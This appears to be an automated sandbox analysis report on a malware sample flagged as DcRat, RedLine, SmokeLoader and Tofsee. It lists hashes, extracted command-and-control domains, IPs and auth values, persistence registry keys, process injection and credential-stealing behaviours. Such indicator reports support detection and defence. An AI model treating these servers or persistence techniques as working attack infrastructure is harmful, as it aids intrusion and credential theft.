dcrat | ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4

Analysis

max time kernel
144s
max time network
147s
platform
windows10-1703_x64
resource
win10-20220901-en
resource tags

arch:x64arch:x86image:win10-20220901-enlocale:en-usos:windows10-1703-x64system
submitted
23-09-2022 12:38

Sharing

Copy URL

Twitter E-mail

Report Analysis Logs

General

Target

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
Size

170KB
MD5

2ad0b99861723a32a7181b3be56efd0e
SHA1

fc8f14bb378616f0bbc2fe601419c97cf178c002
SHA256

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4
SHA512

56a78e61309137fb57bfd3028cc7e273c1f0e32248eb8f0077b2ad89e6dd943e1fb593a4386b91f7ca468ff49a1fa45a3d304e4f60c795774189e19a5c8baac9
SSDEEP

3072:OeoI+YLH75GU6RRjDt2xJmPtPriIKTt+w2ABJd9/PkK4n:F+YLHcUgRPCJyu7TtL

Score

10^/10

dcrat redline smokeloader tofsee 0002 logsdiller cloud (sup: @mr_golds)backdoor discovery evasion infostealer persistence rat spyware stealer trojan

Malware Config

Extracted

Family

tofsee

svartalfheim.top

jotunheim.name

Extracted

Family

redline

5.252.118.34:37991

Attributes

auth_value
b5af0cad45273cbce8023bfa93cf0768

Extracted

Family

redline

Botnet

LogsDiller Cloud (Sup: @mr_golds)

77.73.134.27:8163

Attributes

auth_value
56c6f7b9024c076f0a96931453da7e56

Extracted

Family

redline

Botnet

0002

13.72.81.58:13413

Attributes

auth_value
866ce0ed8cfe2be77fb43a4912677698

Signatures

DcRat 3 IoCs

DarkCrystal(DC) is a new .NET RAT active since June 2019 capable of loading additional plugins.

rat infostealer dcrat

Processes:

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe39FD.exeschtasks.exe

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\Run\oojwlwwj = "\"C:\\Users\\Admin\\fwqqbigz.exe\""	39FD.exe
10724	schtasks.exe

Detects Smokeloader packer 1 IoCs

Processes:

resource	yara_rule
behavioral1/memory/4800-145-0x00000000001D0000-0x00000000001D9000-memory.dmp	family_smokeloader

RedLine
RedLine Stealer is a malware family written in C#, first appearing in early 2020.
infostealer redline

RedLine payload 6 IoCs

Processes:

resource	yara_rule
behavioral1/memory/88904-237-0x0000000004BB217A-mapping.dmp	family_redline
behavioral1/memory/88904-353-0x0000000004B90000-0x0000000004BB8000-memory.dmp	family_redline
behavioral1/memory/79128-425-0x0000000005F90000-0x0000000005FB0000-memory.dmp	family_redline
behavioral1/memory/63476-1558-0x000000000036AF2E-mapping.dmp	family_redline
C:\Users\Admin\AppData\Local\Temp\build.exe	family_redline
C:\Users\Admin\AppData\Local\Temp\build.exe	family_redline

SmokeLoader
Modular backdoor trojan in use since 2014.
trojan backdoor smokeloader

Suspicious use of NtCreateUserProcessOtherParentProcess 6 IoCs

Processes:

powershell.EXEsvchost.exepowershell.EXE

description	pid	process	target process
PID 11044 created 588	11044	powershell.EXE	winlogon.exe
PID 7140 created 3756	7140	svchost.exe	DllHost.exe
PID 7140 created 4144	7140	svchost.exe	DllHost.exe
PID 11036 created 588	11036	powershell.EXE	winlogon.exe
PID 7140 created 5872	7140	svchost.exe	explorer.exe
PID 7140 created 7220	7140	svchost.exe	WerFault.exe

Tofsee
Backdoor/botnet which carries out malicious activities based on commands from a C2 server.
trojan tofsee
Creates new service(s) 1 TTPs
persistence

New Service
T1050
Downloads MZ/PE file

Executes dropped EXE 16 IoCs

Processes:

347D.exe39FD.exe4170.exe5036.exe5807.exefwqqbigz.exe7A94.exe7A94.exe9E1B.exeGoogleUpdate.exeGoogleSetup.exeGoogle Update.exesyst.exetiaatbdbuild.exe$77Install.exe

pid	process
952	347D.exe
3500	39FD.exe
37488	4170.exe
79128	5036.exe
88892	5807.exe
600	fwqqbigz.exe
2224	7A94.exe
5380	7A94.exe
5684	9E1B.exe
62596	GoogleUpdate.exe
5884	GoogleSetup.exe
6512	Google Update.exe
7072	syst.exe
6988	tiaatbd
10316	build.exe
10748	$77Install.exe

Modifies Windows Firewall 1 TTPs 2 IoCs
evasion

Modify Existing Service
T1031

Processes:

netsh.exenetsh.exe

pid process

4000 netsh.exe
5752 netsh.exe

pid	process
4000	netsh.exe
5752	netsh.exe

Checks computer location settings 2 TTPs 1 IoCs

Looks up country code configured in the registry, likely geofence.

Query Registry

T1012

System Information Discovery

T1082

Processes:

Google Update.exe

description	ioc	process
Key value queried	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Control Panel\International\Geo\Nation	Google Update.exe

Deletes itself 1 IoCs

Processes:

Explorer.EXE

pid process

1788 Explorer.EXE
Reads user/profile data of web browsers 2 TTPs
Infostealers often target stored browser data, which can include saved credentials etc.
spyware stealer

Data from Local System
T1005

Credentials in Files
T1081
Accesses cryptocurrency files/wallets, possible credential harvesting 2 TTPs
spyware

Data from Local System
T1005

Credentials in Files
T1081

pid	process
1788	Explorer.EXE

Adds Run key to start application 2 TTPs 2 IoCs

persistence

Registry Run Keys / Startup Folder

T1060

Modify Registry

T1112

Processes:

39FD.exeGoogleSetup.exe

description	ioc	process
Set value (str)	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\Run\oojwlwwj = "\"C:\\Users\\Admin\\fwqqbigz.exe\""	39FD.exe
Set value (str)	\REGISTRY\USER\S-1-5-21-2368682536-4045190062-1465778271-1000\Software\Microsoft\Windows\CurrentVersion\Run\Google Update Service = "C:\\Users\\Admin\\AppData\\Roaming\\Google Update.exe -l [email protected]"	GoogleSetup.exe

Checks installed software on the system 1 TTPs
Looks up Uninstall key entries in the registry to enumerate software on the system.
discovery

Query Registry
T1012

Drops file in System32 directory 9 IoCs

Processes:

syst.exepowershell.EXEpowershell.EXE

description	ioc	process
File created	C:\Windows\SysWOW64\$77-x64.dll	syst.exe
File created	C:\Windows\SysWOW64\$77Host.xml	syst.exe
File created	C:\Windows\SysWOW64\$77Host.exe	syst.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE
File created	C:\Windows\SysWOW64\config\systemprofile\AppData\Local\Microsoft\CLR_v4.0_32\UsageLogs\powershell.EXE.log	powershell.EXE
File created	C:\Windows\SysWOW64\$77Install.exe	syst.exe
File created	C:\Windows\SysWOW64\$77-x86.dll	syst.exe
File created	C:\Windows\system32\config\systemprofile\AppData\Local\Microsoft\Windows\PowerShell\StartupProfileData-NonInteractive	powershell.EXE

Suspicious use of SetThreadContext 5 IoCs

Processes:

347D.exe7A94.exe7A94.exepowershell.EXEpowershell.EXE

description	pid	process	target process
PID 952 set thread context of 88904	952	347D.exe	AppLaunch.exe
PID 2224 set thread context of 5380	2224	7A94.exe	7A94.exe
PID 5380 set thread context of 63476	5380	7A94.exe	AppLaunch.exe
PID 11044 set thread context of 11624	11044	powershell.EXE	dllhost.exe
PID 11036 set thread context of 12856	11036	powershell.EXE	dllhost.exe

Drops file in Windows directory 4 IoCs

Processes:

$77Install.exe

description	ioc	process
File created	C:\Windows\Tasks\$77svc32.job	$77Install.exe
File opened for modification	C:\Windows\Tasks\$77svc32.job	$77Install.exe
File created	C:\Windows\Tasks\$77svc64.job	$77Install.exe
File opened for modification	C:\Windows\Tasks\$77svc64.job	$77Install.exe

Launches sc.exe 5 IoCs
Sc.exe is a Windows utlilty to control services on the system.

Processes:

sc.exesc.exesc.exesc.exesc.exe

pid process

4500 sc.exe
3848 sc.exe
4492 sc.exe
5400 sc.exe
5544 sc.exe
Enumerates physical storage devices 1 TTPs
Attempts to interact with connected storage/optical drive(s). Likely ransomware behaviour.

System Information Discovery
T1082

pid	process
4500	sc.exe
3848	sc.exe
4492	sc.exe
5400	sc.exe
5544	sc.exe

Program crash 5 IoCs

Processes:

WerFault.exeWerFault.exeWerFault.exeWerFault.exeWerFault.exe

pid	pid_target	process	target process
7220	79128	WerFault.exe	5036.exe
12568	3756	WerFault.exe	DllHost.exe
12580	4144	WerFault.exe	DllHost.exe
12976	5872	WerFault.exe	explorer.exe
13016	7220	WerFault.exe	WerFault.exe

Checks SCSI registry key(s) 3 TTPs 6 IoCs

SCSI information is often read in order to detect sandboxing environments.

Query Registry

T1012

Peripheral Device Discovery

T1120

System Information Discovery

T1082

Processes:

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exetiaatbd

description	ioc	process
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
Key opened	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tiaatbd
Key queried	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tiaatbd
Key enumerated	\REGISTRY\MACHINE\SYSTEM\ControlSet001\Enum\SCSI	tiaatbd

Creates scheduled task(s) 1 TTPs 1 IoCs
Schtasks is often used by malware for persistence or to perform post-infection execution.
persistence

Scheduled Task
T1053

Processes:

schtasks.exe

pid process

10724 schtasks.exe

pid	process
10724	schtasks.exe

Modifies data under HKEY_USERS 64 IoCs

Processes:

powershell.EXEpowershell.EXEsvchost.exe

description	ioc	process
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\Windows Error Reporting	svchost.exe
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\Windows\CurrentVersion\WinTrust\Trust Providers\Software Publishing	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\Root	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\TrustedPeople\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\trust	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\SmartCardRoot\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\trust\CRLs	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\CA	powershell.EXE
Set value (data)	\REGISTRY\USER\.DEFAULT\Software\Classes\Local Settings\MuiCache\1e\52C64B7E\LanguageList = 65006e002d0055005300000065006e0000000000	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\TrustedPeople\CRLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CTLs	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Policies\Microsoft\SystemCertificates\Disallowed\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\Certificates	powershell.EXE
Key created	\REGISTRY\USER\.DEFAULT\Software\Microsoft\SystemCertificates\CA\CRLs	powershell.EXE

Suspicious behavior: EnumeratesProcesses 64 IoCs

Processes:

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exeExplorer.EXE

pid	process
4800	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
4800	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE

Suspicious behavior: GetForegroundWindowSpam 1 IoCs

Processes:

Explorer.EXE

pid process

1788 Explorer.EXE

pid	process
1788	Explorer.EXE

Suspicious behavior: MapViewOfSection 20 IoCs

Processes:

ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exeExplorer.EXEtiaatbd

pid	process
4800	ab51139e71a05619e6e12989087e4c91d10c7bd06a79a90329ec40e1cfbb8ba4.exe
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
1788	Explorer.EXE
6988	tiaatbd

Suspicious use of AdjustPrivilegeToken 64 IoCs

Processes:

Explorer.EXEAppLaunch.exe5036.exepowershell.exe

description	pid	process
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeDebugPrivilege	88904	AppLaunch.exe
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeDebugPrivilege	79128	5036.exe
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeDebugPrivilege	5648	powershell.exe
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE
Token: SeCreatePagefilePrivilege	1788	Explorer.EXE
Token: SeShutdownPrivilege	1788	Explorer.EXE

Suspicious use of FindShellTrayWindow 2 IoCs

Processes:

dwm.exe

pid process

992 dwm.exe
992 dwm.exe
Suspicious use of SetWindowsHookEx 6 IoCs

Processes:

Google Update.exe

pid process

6512 Google Update.exe
6512 Google Update.exe
6512 Google Update.exe
6512 Google Update.exe
6512 Google Update.exe
6512 Google Update.exe

pid	process
992	dwm.exe
992	dwm.exe

pid	process
6512	Google Update.exe
6512	Google Update.exe
6512	Google Update.exe
6512	Google Update.exe
6512	Google Update.exe
6512	Google Update.exe

Suspicious use of WriteProcessMemory 64 IoCs

Processes:

Explorer.EXE347D.exe39FD.exefwqqbigz.exe7A94.exe

description	pid	process	target process
PID 1788 wrote to memory of 952	1788	Explorer.EXE	347D.exe
PID 1788 wrote to memory of 952	1788	Explorer.EXE	347D.exe
PID 1788 wrote to memory of 952	1788	Explorer.EXE	347D.exe
PID 1788 wrote to memory of 3500	1788	Explorer.EXE	39FD.exe
PID 1788 wrote to memory of 3500	1788	Explorer.EXE	39FD.exe
PID 1788 wrote to memory of 3500	1788	Explorer.EXE	39FD.exe
PID 1788 wrote to memory of 37488	1788	Explorer.EXE	4170.exe
PID 1788 wrote to memory of 37488	1788	Explorer.EXE	4170.exe
PID 1788 wrote to memory of 37488	1788	Explorer.EXE	4170.exe
PID 1788 wrote to memory of 79128	1788	Explorer.EXE	5036.exe
PID 1788 wrote to memory of 79128	1788	Explorer.EXE	5036.exe
PID 1788 wrote to memory of 79128	1788	Explorer.EXE	5036.exe
PID 952 wrote to memory of 88904	952	347D.exe	AppLaunch.exe
PID 952 wrote to memory of 88904	952	347D.exe	AppLaunch.exe
PID 952 wrote to memory of 88904	952	347D.exe	AppLaunch.exe
PID 952 wrote to memory of 88904	952	347D.exe	AppLaunch.exe
PID 952 wrote to memory of 88904	952	347D.exe	AppLaunch.exe
PID 1788 wrote to memory of 88892	1788	Explorer.EXE	5807.exe
PID 1788 wrote to memory of 88892	1788	Explorer.EXE	5807.exe
PID 1788 wrote to memory of 88892	1788	Explorer.EXE	5807.exe
PID 3500 wrote to memory of 4920	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 4920	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 4920	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 3668	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 3668	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 3668	3500	39FD.exe	cmd.exe
PID 3500 wrote to memory of 4500	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4500	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4500	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 3848	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 3848	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 3848	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4492	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4492	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4492	3500	39FD.exe	sc.exe
PID 3500 wrote to memory of 4000	3500	39FD.exe	netsh.exe
PID 3500 wrote to memory of 4000	3500	39FD.exe	netsh.exe
PID 3500 wrote to memory of 4000	3500	39FD.exe	netsh.exe
PID 3500 wrote to memory of 600	3500	39FD.exe	fwqqbigz.exe
PID 3500 wrote to memory of 600	3500	39FD.exe	fwqqbigz.exe
PID 3500 wrote to memory of 600	3500	39FD.exe	fwqqbigz.exe
PID 1788 wrote to memory of 2224	1788	Explorer.EXE	7A94.exe
PID 1788 wrote to memory of 2224	1788	Explorer.EXE	7A94.exe
PID 1788 wrote to memory of 2224	1788	Explorer.EXE	7A94.exe
PID 600 wrote to memory of 5236	600	fwqqbigz.exe	cmd.exe
PID 600 wrote to memory of 5236	600	fwqqbigz.exe	cmd.exe
PID 600 wrote to memory of 5236	600	fwqqbigz.exe	cmd.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 600 wrote to memory of 5400	600	fwqqbigz.exe	sc.exe
PID 600 wrote to memory of 5400	600	fwqqbigz.exe	sc.exe
PID 600 wrote to memory of 5400	600	fwqqbigz.exe	sc.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe
PID 2224 wrote to memory of 5380	2224	7A94.exe	7A94.exe

C:\Windows\system32\lsass.exe
C:\Windows\system32\lsass.exe
1⤵
PID:644

C:\Windows\system32\winlogon.exe
winlogon.exe
1⤵
PID:588

C:\Windows\system32\dwm.exe
"dwm.exe"
2⤵
- Suspicious use of FindShellTrayWindow
PID:992

C:\Windows\System32\dllhost.exe
C:\Windows\System32\dllhost.exe /Processid:{ce6936f1-aa1a-45ea-a5b9-86f39cf423ee}
2⤵
PID:11624

